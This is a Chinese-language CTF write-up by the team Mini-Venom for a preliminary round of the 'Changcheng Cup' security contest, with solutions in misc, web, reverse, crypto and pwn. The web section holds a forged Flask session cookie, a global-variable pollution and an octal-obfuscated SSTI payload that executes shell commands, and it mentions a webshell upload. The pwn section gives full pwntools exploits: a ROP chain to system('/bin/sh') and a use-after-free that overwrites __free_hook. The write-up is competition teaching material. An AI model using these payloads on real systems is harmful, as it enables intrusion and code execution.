第四届“长城杯”网络安全大赛暨京津冀网络安全技能竞赛(初赛)部分WriteUp by Mini-Venom

image

MISC

BrickGame

签到题目

image

漏洞探踪,流量解密

提取IP

cat oa.access.log|awk '{print $1}'|uniq -c|sort -nr

IP:192.168.30.234​是阶段2密码

然后看POST请求,是通达OA的洞,后面有一个/raw​,还有一个/key​,有提示

image

是RC4加密,直接解密就好了

image

最安全的加密方式

image

$pass='25ming@'​,后面有压缩包,压缩了flag.txt

image

提取出来用上面的pass解密,然后拿到一个md5的表,爆破字符即可:

UNCTF2022-公开赛 | Lazzaro (lazzzaro.github.io)

from hashlib import md5

c = '''8fa14cdd754f91cc6554c9e71929cce7
2db95e8e1a9267b7a1188556b2013b33
0cc175b9c0f1b6a831c399e269772661
b2f5ff47436671b6e533d8dc3614845d
f95b70fdc3088560732a5ac135644506
b9ece18c950afbfa6b0fdbfa4ff731d3
2510c39011c5be704182423e3a695e91
e1671797c52e15f763380b45e841ec32
b14a7b8059d9c055954c92674ce60032
6f8f57715090da2632453988d9a1501b
cfcd208495d565ef66e7dff9f98764da
03c7c0ace395d80182db07ae2c30f034
e358efa489f58062f10dd7316b65649e
b14a7b8059d9c055954c92674ce60032
c81e728d9d4c2f636f067f89cc14862c
e1671797c52e15f763380b45e841ec32
4a8a08f09d37b73795649038408b5f33
4c614360da93c0a041b22e537de151eb
4b43b0aee35624cd95b910189b3dc231
e1671797c52e15f763380b45e841ec32
b14a7b8059d9c055954c92674ce60032
e1671797c52e15f763380b45e841ec32
8d9c307cb7f3c4a32822a51922d1ceaa
4a8a08f09d37b73795649038408b5f33
4b43b0aee35624cd95b910189b3dc231
57cec4137b614c87cb4e24a3d003a3e0
83878c91171338902e0fe0fb97a8c47a
e358efa489f58062f10dd7316b65649e
865c0c0b4ab0e063e5caa3387c1a8741
d95679752134a2d9eb61dbd7b91c4bcc
7b8b965ad4bca0e41ab51de7b31363a1
9033e0e305f247c0c3c80d0c7848c8b3
9033e0e305f247c0c3c80d0c7848c8b3
9033e0e305f247c0c3c80d0c7848c8b3
cbb184dd8e05c9709e5dcaedaa0495cf'''.split('\n')

s = list(range(32,127))
t = {}

for k in s:
    t[md5(chr(k).encode()).hexdigest()] = chr(k)

flag=''
for k in c:
    flag += t[k]

print(flag)

WEB

SQLUP

有hint:

Hint:<!-- The developer likes to use fuzzy matching in the login module. -->

username: admin password: 1

登录,头像处上传.htaccess​和图片🐎,在/uploads/路径下,执行tac /flag即可

CandyShop

1.进去到环境后,爆破得出key是a123456

2.利用此key伪造admin身份访问admin目录

python .\flask_session_cookie_manager3.py decode -s "a123456" -c ".eJwNy8EKgCAMANB_2blDNE3tZ2JtMyQySD1E9O95ffBe4HLHtV6HZliAMUQevbcyErlp04h21iBCQSbrLKJBMuxggCSaa6pPX3vTUju1onemUzuRnCnD9wOMFB3q.Zt1QjQ.OTtQdF_Cpv1tSr2nRVze_HVtck8"

{'csrf_token': 'c39fc0885d0aa72bef356e9dda9d25753343a4c7', 'identity': 'guest', 'username': 'admin'}

3.利用链污染将全局变量sold污染为600

 python .\flask_session_cookie_manager3.py encode -s "a123456" -t "{'csrf_token': '94c60c3656b0b0e1f9875b5007a36bdb8c99a4c2', 'identity': 'admin', 'username': 'admin','__init__':{'__globals__':{'sold':600}}}"

.eJxNi0EKwyAQAP-y5x42TTTRz8iumiA1K0R7KMG_V-ilt5mBucHXa3etvKKABbN4jX7WSjMyxmk326pYIa40aw68eWNo8U94QApRWmqfcVE4k4z0rvESOuNfci5Jas6BvQcfuTDl-tNacgCrEXvvXwr9KtA.Zt1Rqw.ccWGXf3_b2qaTKmJKf1O7VZKJdg

4.然后得出flag路径

a

5.由于/admin/view_inventory目录是由render_template_string渲染有ssti漏洞

payload:

python .\flask_session_cookie_manager3.py encode -s "a123456" -t "{'csrf_token': '94c60c3656b0b0e1f9875b5007a36bdb8c99a4c2', 'identity': 'admin', 'username': 'admin','__init__':{'__globals__':
{'inventory':'{{7*7}}'}}}"

.eJxNjEEKwyAQRe8yy9KFbaLGXEYcNWVoMoKaQhHvXks33f3_4L0GvuTN1vSMDCuY2SvhJyUVChTxtplFS5RCaDcpDLh4Y9zs73AFCpEr1fewXDiIBzpLzOyO-IesJaZqLaxt7Mee0O3ld4lfo5Dyt9Cavujeoff-AQLkL0I.Zt1SVw.Y8voG3JvYxRwEznVxh_B1j2Pj4M

b

由于以上sanitize_inventory_sold函数对污染参数做了过滤,只能进行无参rce,转换为8进制进行命令执行

{{''.__class__().__bases__[0]['__subclasses__'][133]['__init__']['__globals__']['__builtins__']['eval']('__import__("os").popen("env").read()')}}

这是以上命令转换的8进制形式
{{\'\'[\'\\137\\137\\143\\154\\141\\163\\163\\137\\137\'][\'\\137\\137\\142\\141\\163\\145\\163\\137\\137\'][0][\'\\137\\137\\163\\165\\142\\143\\154\\141\\163\\163\\145\\163\\137\\137\']()[133][\'\\137\\137\\151\\156\\151\\164\\137\\137\'][\'\\137\\137\\147\\154\\157\\142\\141\\154\\163\\137\\137\'][\'\\137\\137\\142\\165\\151\\154\\164\\151\\156\\163\\137\\137\'][\'\\145\\166\\141\\154\'](\'137\\137\\151\\155\\160\\157\\162\\164\\137\\137\\050\\042\\157\\163\\042\\051\\056\\160\\157\\160\\145\\156\\050\\042\\042\\051\\056\\162\\145\\141\\144\\050\\051')}}

利用find /tmp | grep flag​命令
找到flag所在目录
tac读取flag

REVERSE

easyre

64bit,没壳,直接ida打开分析,然后F5查看伪代码,找到main​函数,

int __fastcall main(int argc, const char **argv, const char **envp)
{
  const __m128i *v3; // rcx
  unsigned __int64 v4; // r8
  __int64 i; // r10
  __int64 v6; // rax

  if ( argc <= 1 )
    exit(0);
  v3 = (const __m128i *)argv[1];
  v4 = 1LL;
  for ( i = 0LL; i != 43; ++i )
  {
    v3->m128i_i8[i] ^= v3->m128i_u8[i + 1 + -42 * (v4 / 0x2A)];
    ++v4;
  }
  if ( _mm_movemask_epi8(
         _mm_and_si128(
           _mm_cmpeq_epi8(_mm_loadu_si128(v3), (__m128i)xmmword_140021410),
           _mm_cmpeq_epi8(_mm_loadu_si128(v3 + 1), (__m128i)xmmword_140021400))) == 0xFFFF )
  {
    v6 = sub_1400011A0(&qword_1400312E0, "flag is your input", v4, 0xC30C30C30C30C30DuLL);
    sub_1400015A0(v6);
  }
  return 0;
}

逻辑很清晰,就是一个异或,然后比对,去内存找到加密后的数据,

image

然后写脚本解密

#include <iostream>
#include <vector>

int main() {
    std::vector<unsigned char> encoded = { 0x0A, 0x0D, 0x06, 0x1C, 0x1D, 0x05, 0x05, 0x5F, 0x0D, 0x03,
                                           0x04, 0x0A, 0x14, 0x49, 0x05, 0x57, 0x00, 0x1B, 0x19, 0x02,
                                           0x01, 0x54, 0x4E, 0x4C, 0x56, 0x00, 0x51, 0x4B, 0x4F, 0x57,
                                           0x05, 0x54, 0x55, 0x03, 0x53, 0x57, 0x01, 0x03, 0x07, 0x04,
                                           0x4A, 0x77, 0x0D };
    std::vector<int> xorIndices;

    int stepCounter = 1;
    for (int i = 0; i < encoded.size(); i++) {
        int index = i + 1 - 42 * (stepCounter / 42);
        xorIndices.push_back(index);
        stepCounter++;
    }

    int currentIndex = encoded.size() - 1;
    for (int i = encoded.size() - 1; i >= 0; i--) {
        encoded[i] ^= encoded[xorIndices[currentIndex]];
        currentIndex--;
    }

    for (auto byte : encoded) {
        std::cout << byte;
    }
    std::cout << std::endl;

    return 0;
}
//flag{fcf94739-da66-467c-a77f-b50d12a67437}

CRYPTO

RandomRSA

普遍意义上来说,nextprime不会超出枚举范围,两层组合,复杂度上来看也依然可以尝试,

n的结构很简单的二元式子,flag也证明了只需爆破,一些格的做法这里似乎找不到合适的放缩,维度也较低,故而放弃

from Crypto.Util.number import *
from sympy.ntheory.residue_ntheory import nthroot_mod

p = 170302223332374952785269454020752010235000449292324018706323228421794605831609342383813680059406887437726391567716617403068082252456126724116360291722050578106527815908837796377811535800753042840119867579793401648981916062128752925574017615120362457848369672169913701701169754804744410516724429370808383640129
a = 95647398016998994323232737206171888899957187357027939982909965407086383339418183844601496450055752805846840966207033179756334909869395071918100649183599056695688702272113280126999439574017728476367307673524762493771576155949866442317616306832252931038932232342396406623324967479959770751756551238647385191314
b = 122891504335833588148026640678812283515533067572514249355105863367413556242876686249628488512479399795117688641973272470884323873621143234628351006002398994272892177228185516130875243250912554684234982558913267007466946601210297176541861279902930860851219732696973412096603548467720104727887907369470758901838
n = 5593134172275186875590245131682192688778392004699750710462210806902340747682378400226605648011816039948262008066066650657006955703136928662067931212033472838067050429624395919771757949640517085036958623280188133965150285410609475158882527926240531113060812228408346482328419754802280082212250908375099979058307437751229421708615341486221424596128137575042934928922615832987202762651904056934292682021963290271144473446994958975487980146329697970484311863524622696562094720833240915154181032649358743041246023013296745195478603299127094103448698060367648192905729866897074234681844252549934531893172709301411995941527
c = 2185680728108057860427602387168654320024588536620246138642042133525937248576850574716324994222027251548743663286125769988360677327713281974075574656905916643746842819251899233266706138267250441832133068661277187507427787343897863339824140927640373352305007520681800240743854093190786046280731148485148774188448658663250731076739737801267702682463265663725900621375689684459894544169879873344003810307496162858318574830487480360419897453892053456993436452783099460908947258094434884954726862549670168954554640433833484822078996925040310316609425805351183165668893199137911145057639657709936762866208635582348932189646
e = 65537

for k1 in range(1000):
    for k2 in range(1000):
        A = a
        B = b + k2 + k1 * a
        C = k1 * (b + k2) - n
        # Ax^2 + Bx + C - n = 0
        # 求根公式
        delta = nthroot_mod(B**2 - 4 * A * C,2,p)
        p1 = (-B + delta) * inverse(2 * A, p) % p + k1
        p2 = (-B - delta) * inverse(2 * A, p) % p + k1
        if n % p1 == 0:
            p = p1
            q = n // p
            d = inverse(e, (p - 1) * (q - 1))
            print(long_to_bytes(pow(c, d, n)))
        elif n % p2 == 0:
            p = p2
            q = n // p
            d = inverse(e, (p - 1) * (q - 1))
            print(long_to_bytes(pow(c, d, n)))


大约3h

b'flag{j1st_e_s1mp1e_b3ute}' ‍

PWN

FlowerShop

from pwn import*
context(os='linux',arch='amd64',log_level='debug')
p=process('./pwn')
elf=ELF('./pwn')
bin_sh=0x601840
pay=b'\x00'*52+b'pwn\x00'+b'\xff\xff\xff\xff'
p.send(pay)
p.sendline(b'a')
p.sendline(b'c')
p.sendline(str(1))
p.sendline(b'a')
p.sendline(str(1))
p.sendline(b'a')
p.sendline(str(1))
p.sendline(b'b')
rdi=0x0000000000400f13
payload=b'a'*0x18+p64(rdi)+p64(bin_sh)+p64(rdi+1)+p64(0x400730)

p.send(payload)
p.sendline(str(1))

p.interactive()

Kylin_Heap

image

漏洞点位于free这个地方,由于没有清空指针造成的uaf,通过这个即可泄露地址和进行任意地址写,由于libc版本为2.31,所以劫持free_hook

from pwn import *
import json
from struct import pack
from ctypes import *
import base64
#from LibcSearcher import *

def debug(c = 0):
    if(c):
        gdb.attach(p, c)
    else:
        gdb.attach(p)
        pause()
def get_sb() : return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
#-----------------------------------------------------------------------------------------
s = lambda data : p.send(data)
sa  = lambda text,data  :p.sendafter(text, data)
sl  = lambda data   :p.sendline(data)
sla = lambda text,data  :p.sendlineafter(text, data)
r   = lambda num=4096   :p.recv(num)
rl  = lambda text   :p.recvuntil(text)
pr = lambda num=4096 :print(p.recv(num))
inter   = lambda        :p.interactive()
l32 = lambda    :u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
l64 = lambda    :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
uu32    = lambda    :u32(p.recv(4).ljust(4,b'\x00'))
uu64    = lambda    :u64(p.recv(6).ljust(8,b'\x00'))
int16   = lambda data   :int(data,16)
lg= lambda s, num   :p.success('%s -> 0x%x' % (s, num))
#-----------------------------------------------------------------------------------------

context(os='linux', arch='amd64', log_level='debug')
p=remote("IP",PORT)
elf = ELF('./Heap')
libc = ELF('./libc-2.31-0kylin9.2k0.2.so')

def add(size,content):
        sla(b'What will you do, adventurer? ',b'1')
        sla(b'Enter the size of the block you wish to summon (1 to 1280 bytes): ',str(size))
        sla(b'bytes):\n',content)

def free(idx):
        sla(b'What will you do, adventurer? ',b'2')
        sla(b'index (0-19): ',str(idx))

def edit(idx,content):
        sla(b'What will you do, adventurer? ',b'3')
        sla(b'index (0-19): ',str(idx))
        sla(b'bytes):\n',content)

def show(idx):
        sla(b'What will you do, adventurer? ',b'4')    
        sla(b'index (0-19): ',str(idx))

add(0x460,b'a'*0x10)
add(0x20,b'a'*8)
free(0)
show(0)
p.recvline()
libc_base=u64(p.recv(6).ljust(8,b'\x00'))

free_hook=libc_base+0x2f48
malloc_hook=libc_base-0x70

for i in range(9):
        add(0x68,b'a'*1)
for i in range(9):
        free(i+1)
system=libc_base-0x1967d0
edit(9,p64(free_hook-0x10))
for i in range(7):
        add(0x68,b'a'*8)
add(0x68,b'/bin/sh\x00'*1)
add(0x68,b'/bin/sh\x00'*1)
edit(19,p64(system))
print(hex(libc_base))
free(18)
p.interactive()

发布者

AndyNoel

一杯未尽,离怀多少。